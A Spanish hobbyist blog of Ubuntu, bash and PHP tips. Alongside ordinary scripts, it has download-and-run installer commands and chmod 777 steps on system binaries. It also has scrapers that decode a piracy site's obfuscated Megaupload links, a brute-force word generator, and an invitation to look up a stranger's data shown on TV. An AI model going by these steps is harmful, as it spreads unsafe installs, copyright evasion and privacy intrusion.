Ubuntu, PHP y Software Libre

Ahorrar energía en Ubuntu. Como ahorrar dinero en el ordenador

2011-10-27T01:24:00.000+02:00

A continuación dejo unas pautas básicas para ahorrar dinero con el ordenador:

1- Crea una tarea programada que ejecute este script para que apague tu ordenador si la CPU no se está utilizando. Te recomiendo que leas este post para configurarlo pero utiliza este script que es mejor.

#!/bin/bash
xhost local:mpromber > /dev/null
consumocpu=`uptime` #contiene el consumo de cpu
MINCPUgrande=0; #Contiene el mínimo consumo de cpu, por defecto yo uso 0,
MINCPUchico=90; #Contiene el mínimo consumo cpu, yo por defecto ,90
usoCPUgrande=`echo "$consumocpu" | cut -d" " -f12 | cut -d. -f1`
usoCPUchico=`echo "$consumocpu" | cut -d" " -f12 | cut -d. -f2 | cut -d, -f1`
if [ $usoCPUgrande -eq $MINCPUgrande ]; then
   if [ $usoCPUchico -lt $MINCPUchico ]; then
       zenity --info --text="Pulsa aceptar para que no se apague el ordenador." --display=:0.0 --timeout=30
       if [ $? -eq "5" ]; then
           shutdown -h now
       fi
   fi
fi
exit 0

2- Comprar una regleta stand by killer conceptronic y poner como maestro el CPU. Cuando se apague el ordenador apagará los altavoces, los monitores y todo lo que tenga ahí conectado. Es muy útil.

3- Configura adecuadamente la iluminación del monitor. No hace falta que este la luz al 100. Con 60 es más que suficiente.

4- Si tienes una red montada en casa utiliza sólo la wifi. Los switch, hub, servidores etc... consumen un montón.

5- Si tienes un servidor de datos en casa para música y películas, es hora de jubilarlo, comprar un disco duro de 3 TB y meterlo en tu pc con todos los datos.

6- Si el ratón de láser sigue dando luz cuando tu PC esté apagado es que la bios tiene activado el Wake Up. Tienes dos opciones, o lo desactivas en la bios, o cambias el jumper en la placa base. Normalmente suele estar cerca de los puertos PS2 y son 3 pines. Mueve el jumper 1 hueco a la izquierda y listo.

Continuará....

Apagar Ubuntu cuando la máquina no se utilice

2011-07-18T03:22:00.009+02:00

Aquí os dejo un pequeño script que tenéis que poner como cronjob o tarea programada cada minuto.

Modificar el 1 por el nivel de uso que queráis
llamar autoApagado guardar en /usr/bin/ y dar permisos sudo chmod 777 autoApagado

#!/bin/bash
xhost local:mpromber > /dev/null
usoCPU=`uptime | cut -d" " -f12 | cut -d. -f1`
if [ $usoCPU -lt "1" ]; then
   zenity --info --text="Pulsa aceptar para que no se apague el ordenador." --display=:0.0 --timeout=30
   if [ $? -eq "5" ]; then
       shutdown -h now
   fi
fi
exit 0

Si queréis ser más exactos y usar decimales pues trastear con el script.

Para añadir el cron job

sudo gedit /etc/crontab

y añadimos

0-59/5 * * * * * root autoApagado

Lo que ejecutará nuestro programa cada 5 minutos 8)

Recomenacioens spam anti registro

2011-04-07T17:13:00.002+02:00

www.mailnator.com && www.bugmenot.com

Lo parten xD

Generador de enlaces de descargas desde Series Yonkis

2011-03-24T02:34:00.001+01:00

Shell + PHP ->Herramientas usadas
Necesitas tener instalado PHP

sudo apt-get install php5-cli

Instalación:
series

#!/bin/bash
####
echo "Introduzca el nombre de la serie"
read serie
echo "Introduzca el numero de temporada"
read temporada
echo "Numero de enlaces a mostrar"
read numEnlaces
#####
cd /tmp/
wget "http://www.seriesyonkis.com/serie/"$serie"/" -e robots=off --user-agent="movil Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13" -O $serie &>/dev/null
cat $serie | awk -F'>' '/^a href/{split($1,F,"\"");print F[2],$NF}' RS='<' &> $serie".enlaces"
grep $temporada"x" $serie".enlaces" &> $serie
egrep -o "http:.*/ " $serie &> $serie".enlaces"
echo $serie" "$temporada" Comienza la descarga"
contador=1
for capitulo in $(cat $serie."enlaces"); do
    wget $capitulo -e robots=off --user-agent="movil Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13" -O "capitulo" &>/dev/null
    cat "capitulo" | awk -F'>' '/^a href/{split($1,F,"\"");print F[2],$NF}' RS='<' &> "capitulo.enlaces"
    grep "DESCARGAR DE megaupload" "capitulo.enlaces" &> "capitulo"
    egrep -o "http:.*" capitulo | cut -d " " -f1 | head -n$numEnlaces &> "capitulo.enlaces"
    echo $serie" Capitulo "$contador
    for enlace in $(cat "capitulo.enlaces"); do
    echo -n "http://www.megaupload.com/?s=seriesyonkis&d="
        php5 /usr/bin/cleaner_series $enlace
        echo "&confirmed=1"
    done
    rm "capitulo"
    rm "capitulo.enlaces"
    let contador=contador+1
    done
rm $serie
rm $serie".enlaces"
exit 0

Pastebin http://pastebin.com/CKt3LqCh

cleaner_series

<?php
    function hola($a){
        $d = $a;
        $e = 900+101+43-27-1000;
        $f = "";
        $e +=23+100+114;
        for ($i=0; $i<strlen($d); $i++){
            $f .= chr($e^ ord($d[$i]));
        }
        return $f;
    }

    for ($i=1; $i<$argc; $i++){
        $hola = $argv[$i];
        $hola = explode("/",$hola);
        $hola = $hola[6];
        echo hola(urldecode($hola));
    }
?>

Pastebin http://pastebin.com/SLrJzk9W

Guardamos los 2 archivos en el Escritorio y abrimos un terminal

chmod 777 series
chmod 777 cleaner_series
sudo mv series /usr/bin/
sudo mv series/usr/bin/

Abrimos un terminal escribimos series y pedirá los datos 1 - Nombre de la serie (Ha de ser el mismo que en series yonkis) 2- la temporada y 3- El número de enlaces (con 1 basta)

Si esto te parece muy raro o eres un vago redomado utiliza este método:
Este pack incluye 3 scripts, el de series yonkis(2) y el de película aleatoria en divx.info

wget www.mma-clips.com/zeyt/series/instalador
chmod 777 instalador
./instalador

Listo!
Un saludo!

Series Yonkis - n.js ¿Qué hace?

2011-03-24T02:13:00.000+01:00

Esto es lo que usa series yonkis para joder a los robots ya que suelen tener complicada la descarga. En cualquier caso yo lo usé como método rápido de conseguir enlaces frescos para bajar temporadas

var qs = location.search.substring(1);
var nv = qs.split('&');
var url = new Object();
var aux = "AAAAAAAA";

if (location.pathname.split('/').length == 6) {
    aux = location.pathname.split('/')[4]
}
for (i = 0; i < nv.length; i++) {
    eq = nv[i].indexOf('=');
    url[nv[i].substring(0, eq).toLowerCase()] = unescape(nv[i].substring(eq + 1))
}
function urlencode(a) {
    return escape(a).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40')
}
function decrypt_str(a) {
    var b = a;
    var c = 254;
    var d = "";
    for (i = 0; i < b.length; i++) {
        d += String.fromCharCode(c ^ b.charCodeAt(i))
    }
    return d
}
function _utf8_decode(a) {
    var b = "";
    var i = 0;
    var c = c1 = c2 = 0;
    while (i < a.length) {
        c = a.charCodeAt(i);
        if (c > -128) {
            b += String.fromCharCode(c);
            i++
        } else if ((c > 191) && (c < 224)) {
            c2 = a.charCodeAt(i + 1);
            b += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
            i += 2
        } else {
            c2 = a.charCodeAt(i + 1);
            c3 = a.charCodeAt(i + 2);
            b += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
            i += 3
        }
    }
    return b
}
function ccM(a, c) {
    var d = a;
    var e = 900 + 101 + 43 - 27 - 1000;
    var f = "";
    var g = 0;
    var h = 0;
    var b = 0;
    e += 23 + 100 + 114;
    for (i = 0; i < d.length; i++) {
        g = e ^ d.charCodeAt(i);
        if (e > 1) {
            f += String.fromCharCode(g * 1)
        } else {
            f += String.fromCharCode(2 * g)
        }
    }
    return f
}
function cc(a) {
    var c = a;
    var d = 900 + 101 + 43 - 27 - 1000;
    var e = "";
    var f = 0;
    var g = 0;
    var b = 0;
    d += 23 + 100;
    for (i = 0; i < c.length; i++) {
        f = d ^ c.charCodeAt(i);
        if (c.length == 12 || i == c.length * 31 || i == c.length * 1 - 1 || i == c.length * 9 + 3) {
            g = f;
            f += 4;
            g--;
            f -= 9
        } else if (i > 0 && d > 1) {
            b = i * 3;
            while (b > 25) {
                b -= 4
            }
            f = 1 - b + f - 2
        }
        if (d > 1) {
            e += String.fromCharCode(f * 1)
        } else {
            e += String.fromCharCode(2 * f)
        }
    }
    return e
}
function sy1() {
    if (aux.length < 24) {
        aux = urlencode(url.id)
    }
    aux = ccM(_utf8_decode(unescape(aux)));
    var a = aux;
    var b = a.split(":");
    var c = 0;
    for (c = 0; c < b.length; c++) {
        if (b.length > 1) {
            document.write("<br /><span style='font-size: 1.5em'><font color='#FF0000'><b>Parte " + (c + 1) + "/" + b.length + "</b></font></span><br />");
            document.write('<h3><img src="http://images.peliculasyonkis.com/images/tdescargar2.png" title="Descargar" alt="Descargar" style="vertical-align: middle;" /><a href="http://www.megaupload.com/es/?d=' + b[c] + '">DESCARGAR PARTE ' + (c + 1) + ' DESDE MEGAUPLOAD</a></h3>');
            document.write("<br />")
        } else {
            document.write("<br /><h1><a target='_blank' href='http://www.megaupload.com/?s=seriesyonkis&d=" + a + "&confirmed=1'>DESCARGAR EL VIDEO <br />DESDE MEGAVIDEO (REQUIERE ESPERA)</a></h1>");
            document.write("<br /><h3><a target='_blank' href='http://www.megaupload.com/?s=seriesyonkis&d=" + a + "&confirmed=1'>http://www.megaupload.com/?s=seriesyonkis&d=" + a + "&confirmed=1</a></h3>")
        }
    }
}

Como siempre pastebin http://pastebin.com/ZHMTq5q4 Paso seguidos http://donzeyt.blogspot.com/2011/03/java-script-wget-no-rompamosnos-la.html

Que os cunda!

Java Script Wget ? No! - Rompamosnos la cabeza.

2011-03-24T01:25:00.000+01:00

Digamos que tenemos un código javascript empaquetado, lo sabemos porque empieza por algo así eval(function((p)(a)(c)(k)(e)(r)){ de Dean Edwards

Pues muy fácil:
1- Ir a
http://dean.edwards.name/packer/

2- Pegar en el navegador esto
javascript:for%20(i=0;i<document.forms.length;++i)%20{for(j=0;j<document.forms[i].elements.length;++j){document.forms[i].elements[j].removeAttribute(%22readonly%22);document.forms[i].elements[j].removeAttribute(%22disabled%22);}}

3- Pegar el código ofuscado

4-Limpiarlo
http://jsbeautifier.org/

5-PROFIT!

Un saludo!

MYSQL: Funciones útiles

2011-03-05T17:30:00.000+01:00

Ucase en MYSQL

UPDATE `tabla` SET `campo` =CONCAT(UCASE(SUBSTRING(`campo`, 1, 1)),LOWER(SUBSTRING(`campo`, 2)));

Str_replace en MYSQL

UPDATE `tabla` SET campo=REPLACE(tabla.campo, 'busqueda','reemplazo')

Espero que os sirvan!

Script para ver películas

2011-03-01T15:51:00.000+01:00

Aquí os dejo un script que os recomienda aleatoriamente una película y os la abre en el firefox si la elegís. Es un buen sistema para esos días que da pereza escoger y navegar! Enlace PasteBin

#!/bin/bash
    OP=1
    cd /tmp/
    while [ $OP -eq 1 ]
    do

        VALOR=`echo $(($RANDOM%9999))`
        wget http://www.divxonline.info/pelicula/$VALOR/Pambufering-All-Day-Long/ &>/dev/null
        cat index.html | egrep "<title>(.)*</title>" | sed -e :a -e 's/<[^>]*>//g;/</N;//ba'
        rm index.html
        echo "1 para byscar otra"
        read OP
        if [ $OP -ne 1 ]; then
            firefox http://www.divxonline.info/pelicula/$VALOR/Pambufering-All-Day-Long/
        fi
    done

Generador de enlaces de descarga directa de Series Yonkis

2011-02-22T23:10:00.000+01:00

Bueno, aquí os dejo un proyecto inacabado que espero que alguien retome.
Se trata de un generador de enlaces de descarga basado en la popular web www.seriesyonkis.com , no coge los de megavideo si no los de Descarga Directa

Es un script en bash que recolecta toda la información mediante dos parametros pedidos por teclado: 1 la serie ej: House y 2 la temporada ej: 7

El principal problema reside en que wget no ejecuta javascript y seriesyonkis oculta sus enlaces mediante una función javascript que está un tanto ofuscada.

Si hay algún gurú de javascript por la zona que sea amante de bash, por favor que continúe con este programa.

Gracias! -> Código en PASTEBIN

#!/bin/bash
####
echo "Introduzca el nombre de la serie"
read serie
echo "Introduzca el numero de temporada"
read temporada
#####
cd /tmp/
wget "http://www.seriesyonkis.com/serie/"$serie"/" -e robots=off --user-agent="movil Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13" -O $serie &>/dev/null
cat $serie | awk -F'>' '/^a href/{split($1,F,"\"");print F[2],$NF}' RS='<' &> $serie".enlaces"
grep $temporada"x" $serie".enlaces" &> $serie
egrep -o "http:.*/ " $serie &> $serie".enlaces"
echo $serie" "$temporada
for capitulo in $(cat $serie."enlaces"); do
    wget $capitulo -e robots=off --user-agent="movil Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13" -O "capitulo" &>/dev/null
    cat "capitulo" | awk -F'>' '/^a href/{split($1,F,"\"");print F[2],$NF}' RS='<' &> "capitulo.enlaces"
    grep "DESCARGAR DE megaupload" "capitulo.enlaces" &> "capitulo"
    egrep -o "http:.*" capitulo | cut -d " " -f1 | head -n1 &> "capitulo.enlaces"cat
    for descarga in $(cat "capitulo.enlaces"); do
        wget $descarga -e robots=off --user-agent="movil Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13" -O "descarga" &>/dev/null
        cat "descarga" | awk -F'>' '/^a href/{split($1,F,"\"");print F[2],$NF}' RS='<' &> "descarga.enlaces"
        cat "descarga.enlaces"
        rm "descarga.enlaces"
        rm "descarga"
    done;
    rm "capitulo"
    rm "capitulo.enlaces"
done
rm $serie
rm $serie".enlaces"
exit 0

Problemas dependencias Ubuntu

2011-02-03T22:47:00.000+01:00

Cuando tengamos un problema con las dependencias de nuestro sistema operativo o nos retenga algunas actualizaciones lo recomendable es ejecutar el siguiente comando:

sudo aptitude full-upgrade

Mano de santo oiga!

Ejecutar comandos con sudo al iniciar Ubuntu

2011-02-02T18:42:00.000+01:00

Anteriormente mencioné como hacer scripts para montar automáticamente las particiones compartidas en la red. Al comando le llamé amistosamente montar, pero... hay que ejecutarlo todo el rato al iniciar el ordenador, algo que es poco eficiente.

Por ello mismo investigué y descubrí el script rc.local.

sudo gedit /etc/rc.local

Una vez se nos abra el editor de texto añadiremos antes del exit 0 nuestro comando

Que dando algó así:

montar
firefox
thunderbird
emesene
rythmbox
exit 0

Guardamos y cuando iniciemos voilá, ya funciona.

Cortar Archivos en trozos ubuntu y renombrarlos.

2010-12-04T21:05:00.000+01:00

Hoy os voy a hablar de una utilidad bastante importante para mi. El comando split y un comando que realiza limpieza del comando split.

Los que ya sepáis inglés averiguaréis que split es cortar, dividir o como queráis decirlo, efectivamente, lo popularmente conocido como hacha.

Esta utilidad es de gran utilidad para los uploaders de rapidshare para cortar los archivos en 100 mb y luego unirlos, o en mi caso, para los amantes de las sesiones de música electrónica o los conciertos grabados, para trocear y grabarlos en un CD sin tener que rompernos el dedo rebobinando en nuestro aparato mp3.

Para ello ejecutaremos lo siguiente:

split -b 5m archivo.mp3
for file in x?? ; do mv $file `echo $file | sed 's/$.*\.$/\1mp3/'` ; done

En este caso nos dividiría el archivo en trozos de 5 megas. Si quisiéramos que fueran de 100 Megas, tan sólo habría que modificar el 5 por 100 y listo!

Por último si queremos cambiar el renombre a otro formato que no sea mp3 modificaremos en el segundo comando la palabra mp3 por la que queráis.

Acelera tu UBUNTU (Mediante el parche del Kernel)

2010-11-20T06:03:00.000+01:00

Estos días se ha estado debatiendo sobre el maravilloso Kernel que implementa una mejora en el rendimiento sustancial, en cuanto a la velocidad de la interfaz gráfica. Aparentemente el código mejora la velocidad de las prioridades de los procesos en BASH, pero extrañamente esa mejora de los TTY se refleja en una velocidad de la interfaz rapidísima.

Lo he experimentado yo mismo y el teclado va mucho más fluido y el ratón, el navegador y los programas funcionan mucho más fluidos.

Mientras se prepara el Kernel podemos emplear el parche propuesto en BASH para ir tirando hasta que se integre en nuestra distro.

Para ello en el terminal ejecutaremos:

sudo gedit /etc/rc.local

y pegaremos este código antes del exit 0

mkdir -p /dev/cgroup/cpu

mount -t cgroup cgroup /dev/cgroup/cpu -o cpu

mkdir -m 0777 /dev/cgroup/cpu/user

echo "/usr/local/sbin/cgroup_clean" > /dev/cgroup/cpu/release_agent

Luego ejecutaremos:

```
sudo chmod +x /etc/rc.local
```

Luego:

gedit $HOME/.bashrc

Añadimos al final:

if [ "$PS1" ] ; then  
   mkdir -p -m 0700 /dev/cgroup/cpu/user/$$ > /dev/null 2>&1
   echo $$ > /dev/cgroup/cpu/user/$$/tasks
   echo "1" > /dev/cgroup/cpu/user/$$/notify_on_release
fi

Luego ejecutamos:

```
sudo gedit /usr/local/sbin/cgroup_clean
```

Añadimos esto:

#!/bin/sh
rmdir /dev/cgroup/cpu/$*

Luego ejecutamos:

sudo chmod +x /usr/local/sbin/cgroup_clean

Por último ejecutamos:

```
sudo /etc/rc.local
```

PHP: Generador de palabras por fuerza bruta.

2010-10-09T15:56:00.001+02:00

Hoy a petición de un amigo he creado un script muy sencillo y que probablemente existan mejores maneras de hacerlo con programación genérica pero oye al que le sirva que lo use.

En este caso es un generador de todas las palabras del alfabeto Hexadecimal, es decir, del 1 al 0 y de la A a la F. No se diferencia entre mayúsculas y minúsculas pero no es un problema arreglarlo. Tan sólo hay que añadir todos los caracteres que deseemos a la cadena alpha y cambiar la variable longitud por su nuevo valor.

Por otro lado la longitud de este diccionario será siempre 7 ya que conocemos el número exacto de caracteres. Si no fuera así, existen otros métodos para generar un diccionario completo. Pedírmelo y os lo pondré.

También añadir que si quieres que tenga 10 caracteres de longitud tendrás que añadir 3 for y concatenar alpha al valor de sus contadores.

Por último, el resultado será guardado en la variable $token.

<?php
$token = "";
$longitud = 16;
$alfa = "1234567890abcdef";
for ($caracter1 = 0; $caracter1< $longitud; $caracter1++){
    for ($caracter2=0; $caracter2< $longitud; $caracter2++){
        for ($caracter3=0; $caracter3< $longitud; $caracter3++){
            for ($caracter4=0; $caracter4< $longitud; $caracter4++){
                for ($caracter5=0; $caracter5< $longitud; $caracter5++){
                    for ($caracter6=0; $caracter6< $longitud; $caracter6++){
                        for ($caracter7=0; $caracter7< $longitud; $caracter7++){
                            $token = $alfa[$caracter1].$alfa[$caracter2].$alfa[$caracter3].$alfa[$caracter4].$alfa[$caracter5].$alfa[$caracter6].$alfa[$caracter7];
                        }
                    }
                }
            }
        }
    }
}
?>

Espero que os sirva de utilidad.

Historias de Software: Términos pastafarianos.

2010-09-03T05:16:00.001+02:00

La entrada de hoy, va dedicada a todos los que hemos tenido que mantener aplicaciones desarrolladas por otros desarrolladores en las que como siempre, la estructura está mal, faltan los comentarios y como no, un clásico, ha sido llevada a cabo sin planificación ninguna y debemos descifrarlo sobre la marcha.

Los que pensabais que esta era la típica entrada sobre el Flying Spaguetti Monster, FSM, vais bastante mal, en cualquier caso en el mundo de la programación existe unos términos clásicos que no se deberían perder y que aquí procedo a explicar.

Código espagueti: Sin duda es el más famoso, difícil de entender, difícil de mantener y como no, complicado. Es un término bastante degradante, si alguien comenta que tu código es espagueti, prepararte, tu ego de programador ha sido atacado y tendrás que defenderlo.

Código lasaña: Quizá uno de los códigos que más me gusten, sencillo, muy estructurado y analítico. Algunos pensaréis que es el más fácil de mantener pero no es así ya que resulta bastante complicado mejorar lo inmejorable y sobre todo razonar como su autor original, es como jugar una partida de Jenga, hay que tener mucho cuidado.

Código ravioli: Teóricamente este es el mejor código para mantener, todo es sencillo y esta empaquetado en pequeños componentes muy específicos. Por todo esto modificar alguno de los paquetes u objetos no tendrá cambios significativos en el resto del programa.

Ya sabéis programadores / mantenedores de aplicaciones, mucha paciencia y a veces es mejor reescribir todo el código que descifrar jeroglíficos.

Linux: Montar carpetas compartidas con usuario y contraseña

2010-08-23T03:23:00.001+02:00

Hemos hablado muchas veces de como montar carpetas compartidas en otros equipos de la red y poder utilizarlas a nuestro antojo en el pc.

En cualquier caso, para completar esta información, comentaremos como montar carpetas compartidas que requieran de un usuario y una contraseña para su acceso.

Para ello mismo emplearemos el comando mount y le añadiremos unos parámetros adicionales ejecutando el siguiente comando:

sudo mount //IPServidor/Carpeta /media/Carpeta -o username=usuario,password=contraseña

Hay que modificar IPServidor por la IP del equipo, por ejemplo, 192.168.1.130. La carpeta también hay que modificarla por el nombre de la carpeta compartida y por último el usuario y la contraseña por unos correctos que os permitan el acceso.

Reporteros Cuatro - Privacidad en Internet y FAIL

2010-05-03T17:05:00.002+02:00

A pesar de que ya había oído hablar de este documental un compañero me pasó el enlace y me puse a visualizarlo. Por lo visto en el vídeo salían un par de expertos en seguridad, enseñando el uso de cain y sub7.

El caso es que antes de llegar a esta parte, entrevistan al jefe de la Guardia Civil de delitos informáticos que muy amablemente les pide que no muestren a los trabajadores aunque, eso sí, le permite entrar en el almacén de decomisos donde en el minuto 24:57 si lo paramos podemos ver:

pulsar para agrandar

Muy bien, os habéis salido, tenemos el nombre y la dirección de un disco duro decomisado el 10/10/08. ¿Qué podrá tener este disco duro? Buscarlo y seguro que lo encontráis.

¡Qué cagada!

Actualización:
Se me han adelantado... el compañero de 48bits pone pixeles en la foto pero entra en la carnaza a muerte ... jajaja

Don ZeYt ft Pasku Presenta: php goear downloader v 0.1

2010-05-02T05:42:00.002+02:00

Como muchos sabréis goear es un servicio de streaming de canciones gratuito en internet. Esta web emplea un reproductor de flash para reproducir las canciones y no "permite descargar las canciones".

Existen varias soluciones para poder "ripear" esta música pero sin duda he pensado en que la más óptima y rápida es la línea de comandos de tu sistema operativo.

El funcionamiento es bastante sencillo, tan sólo hay que ejecutar el comando:

goear URL [DIRECTORIO]

La URL es obligatoria, el directorio es opcional y es la ruta completa del directorio donde quieres que se guarde la canción.

INSTRUCCIONES INSTALACIÓN

Requisitos:

PHP5

sudo apt-get install php5-cli

Instalación:

wget http://www.mma-clips.com/zeyt/goear/descargar.php?file=1
sudo chmod 777 goear
sudo cp goear /usr/bin

Ejemplo de uso:

goear http://www.goear.com/listen/323ab17/cuanto-cantautor-koma
goear http://www.goear.com/listen/38f2ed6/dreams-machine-%28downtempo-mix%29-mark-farina /home/zeyt/Escritorio/Downtempo

Notas:

1 - Si tenéis algún problema a la hora de descargar poner la URL de la canción entre comillas. goear "URL"

2 - El tercer parámetro es el directorio de descarga. Es opcional, si no lo pones guardará la canción en tu Escritorio.

3 - El tiempo de ejecución puede variar dependiendo de tu conexión a internet.

4 - Para escoger las canciones deberéis entrar en www.goear.com y usar el buscador. Una vez lleguéis a la canción, copiar la dirección y usar el comando.

Agradecimientos:

Pasku: por el script original en el que se ha basado este. Este programa es una adaptación del suyo para utilizarlo vía línea de comandos.

Lucena: Te dedico el post con tu tema de Koma

php goear downloader v 0.1 a.k.a goear

Lucid - Cambiar pantalla de inicio (Plymouth theme)

2010-04-30T16:18:00.002+02:00

Uno de los cambios de la nueva versión ha sido quitar el antiguo sistema de carga que mostraba una bonita línea cargando, usplash por plymouth el actual usado por otras distribuciones como Fedora. Donde no acertaron tanto es el tema que escogieron para cargar. El color morado es horrendo pero tranquilos, se puede cambiar.

En este caso yo he escogido el tema solar que es el usado por Fedora y que además es mucho más bonito y está en los repositorios. Para instalarlo tan solo hay que ejecutar el siguiente comando:

sudo apt-get install plymouth-theme-solar

Una vez instalado lo pondremos como plantilla por defecto con el comando:

sudo update-alternatives --config default.plymouth

Una vez escogido el theme solar (en mi caso aparece con el 1) escribimos 1 y aceptamos.

Por último actualizamos la carga de inicio con el siguiente comando:

sudo update-initramfs -u

Por último reiniciamos y veréis la mejora!
En próximas entregas veremos como auto-motnar el fstab (que ha dejado de funcionar en Lucid)

Lucid - Opinión personal proceso de actualización.

2010-04-30T15:48:00.000+02:00

Intentando echar una mano a Canonical para no saturar los servidores me descargué la versión de Ubuntu 10.4 desde las redes torrent p2p. Monté el CD para usarlo como espejo local de repositorios para actualizar el sistema a la 10.4 pero no me lo detectó por lo que tuve que tirar un CD y grabar la iSO para que así me lo reconociera.

Una vez montado el repositorio empecé la actualización pero no tuve los resultados que esperaba porque me faltaban gran parte de los paquetes y la única parte que actualicé fue la llamada ubuntu-minimal que contiene más o menos los programas básicos del sistema pero no era lo que buscaba.

Por todo ello procedí a hacer la actualización a través del gestor de paquetes y me dio un problema de versiones en las fuentes de los repositorios. Intenté arreglarlo mediante comandos pero la cosa no funcionó. Al final a mano dura borre todos los orígenes del software que no fueran los originales, entre ellos el CD y la cosa mejoró ya que por fin pude actualizar.

Tras media hora de rigor de descarga a 1,5 mb por segundo (me va bastante bien el internet) comenzó la actualización. La verdad que yo pensé que sería más desatendida pero no lo fue. Durante el proceso me salieron 2 errores de descarga y dos ventanas advirtiendome de los cambios que se iban a realizar en ficheros especiales como la configuración de GDM.

En cualquier caso tras casi finalizar la instalación de Lucid me encontré con un problema y es que fglrx estaba corrupto en los repositorios de Ubuntu o eso es lo que comentaba el gestor de actualización que salía anomalamente del proceso de actualización.

En cualquier caso pensando en que ya tendría que formatear porque habría perdido la configuración del XORG me tiré al río y reinicié el ordenador. Mi sorpresa fue que efectivamente ya tenía Lucid, lo pude ver por la nueva ventana de acceso de GRUB que tiene un horrendo color morado (ya diré como cambiarlo).

Sobre el tiempo de carga la verdad que ha disminuido pero tampoco se puede decir que sea una barbaridad. Antes iniciaba rápido, ahora también, luego poco hemos ganado.

Tras iniciar efectivamente había perdido la aceleración gráfica pero por lo menos funcionaba uno de los monitores aunque tenía el fondo negro porque parece que han borrado las bonitas cerezas de fondo de pantalla que tenía que me vinieron con Karmic.

Tras volver a configurar Gnome a mi gusto, borré la carpeta del antiguo driver mediante el comando sudo rm -R /usr/share/ati y comencé a hacer una instalación a capón y la sorpresa aún más grata es que funcionó.

En cualquier caso comienzo a ver los cambios en GNOME, todo más bonito y veo que me hacen un cambio en la barra de salida incluyéndome un estado en el que puedo conectarme mediante Epiphany (lo llevan claro soy de emesene) y también puedo conectarme a facebook( que no tengo).

Esto está muy bien si usas estos servicios pero desde luego yo no lo uso y no puedo quitarlo de momento (ya diremos más adelante como hacerlo).

En cuanto a los programas, podemos disfrutar del a rapidísima nueva versión de emesene, thunderbird3, firefox nuevo (estable al fin) y una sorpresa un tanto desagradable al abrir el rythmbox ya que me encontré con un feo SPAM de Ubuntu Music Store que ni me va ni me viene.

En cualquier caso la carga del sistema sigue siendo igual, los programas tienen nuevas mejoras y el ordenador parece más estable. Eso sí, no sé porque otra vez tuve problemas con el eclipse que he tenido que reinstalarlo para que todo funcionara correctamente.

Como actualizar de Karmic a Lucid

2010-04-30T15:27:00.000+02:00

Muchos usuarios queréis actualizar ya a Lucid. El proceso es bastante fácil aunque dura aproximadamente 2 horas sin contar con el tiempo de descarga de los 1700 paquetes.
En cualquier caso, la mejor forma de hacerlo gráficamente es pulsar sobre Sistema > Administración > Gestor de actualizaciones

Una vez realizado deberéis encontrar un anuncio de actualización y un botón sobre el que deberéis pinchar para comenzar el proceso.

Os recuerdo que es aconsejable esperar una semana de rigor porque suelen traer bastante fallos las nuevas versiones.

Lucid - Fallo con el driver privativo de ati.

2010-04-30T15:20:00.000+02:00

Muchos usuarios que emplean el driver privativo de ATI para sus tarjetas gráficas están encontrando problemas a la hora de actualizar a Lucid ya que están perdiendo la aceleración gráfica y el proceso de actualización se cancela pudiendo tener consecuencias bastantes graves en algunos casos muy extremos.

En cualquier caso la solución es bastante fácil, los usuarios que tengan el driver privativo instalado desde los repositorios de Ubuntu no deben preocuparse pero los que lo instalaron a través de la página oficial de ATI sí y deberán corregir su fallo con un simple comando:

sudo rm -R /usr/share/ati

Una vez borrada la carpeta se deberá proceder a la actualización y no tendréis más problemas.

Lucid - Primer Fallo con Grub

2010-04-30T15:14:00.001+02:00

Ayer tras el esperado lanzamiento de Lucid comenzaron los primeros fallos y es que parece que cannonical no había probado la nueva versión del GRUB que dio problemas a los usuarios que dispusieran más un sistema operativo instalado, haciendo desaparecer de la lista los otros sistemas operativos.

Un fallo más molesto que grave pero que hizo corregir al equipo a toda velocidad el CD causando que se repitieran las descargas de algunos usuarios.

En cualquier gracias al civismo de la comunidad, las redes no se saturaron ya que mucha gente usó sistemas P2P como los torrents para conseguir sus imágenes de CD.

¡Que viene el lince! - Ubuntu 10.4 Lucid Lynx lanzada

2010-04-30T15:10:00.000+02:00

Los usuarios de la popular distribución Ubuntu, estamos de enhorabuena ya que ha sido lanzada la nueva versión 10.4, con importantes cambios. Esta vez prometieron gran cantidad de mejoras como mayor integración con las redes sociales y mayor uso del cloud computing pero ha sido realmente así. En Karmic, Ubuntu One, en Lucid, Ubuntu Music Store, ambas herramientas útiles pero no imprescindibles.

Como siempre para los que os queráis actualizar, esperar la semana de rigor porque ya se están detectando bastantes fallos. En cualquier caso los que queráis instalarla ya adelante, los servidores no están tan cargados como dicen!

Presentación: Chivato Tuenti 0.1.1 By ZeYt

2010-03-26T07:25:00.001+01:00

Hoy lanzo la fase beta del programa que te avisa de las actualizaciones del Tuenti. Estamos buscando fallos y tratándolos. Deja mucho que desear pero es mi primer programa que libero para el publico en general. He intentado craer el típico DEB pero es la de Dios, literalmente, más de una hora para hacerlo...

En cualquier caso he creado un script instalador para debian y ubuntu. Las instrucciones a continuación.

wget http://www.mma-clips.com/zeyt/chivato-tuenti/instalador.run
chmod u+x instalador.run
./instalador.run

Una vez introducida la contraseña nos instalará las dependencias. Procederá a crear y mover los archivos. Nos pedirá nuestro usuario y contraseña y abrirá el programa encargado de añadir las tareas programadas. Añadiremos una tarea cada minuto que ejecutará el siguiente comando: chivato-tuenti

Se aceptan, comentarios y sugerencias. Esta en fase BETA, no me hago responsable de nada.

PHP, Curl, Tuenti, Login, Parser - Notificador de tuenti.

2010-03-25T20:58:00.004+01:00

Bueno seguimos trabajando un poco en el proyecto y vamos sacando cosillas y corrigiendo fallos. Aquí os traigo la otra versión del tuenti.php.
El archivo clase_tuenti.php no será necesario para esta implementación.

Ya no será necesario la librería zenity ya que usaremos la notificación de señales de Ubuntu y GNOME, conocida como libnotify.
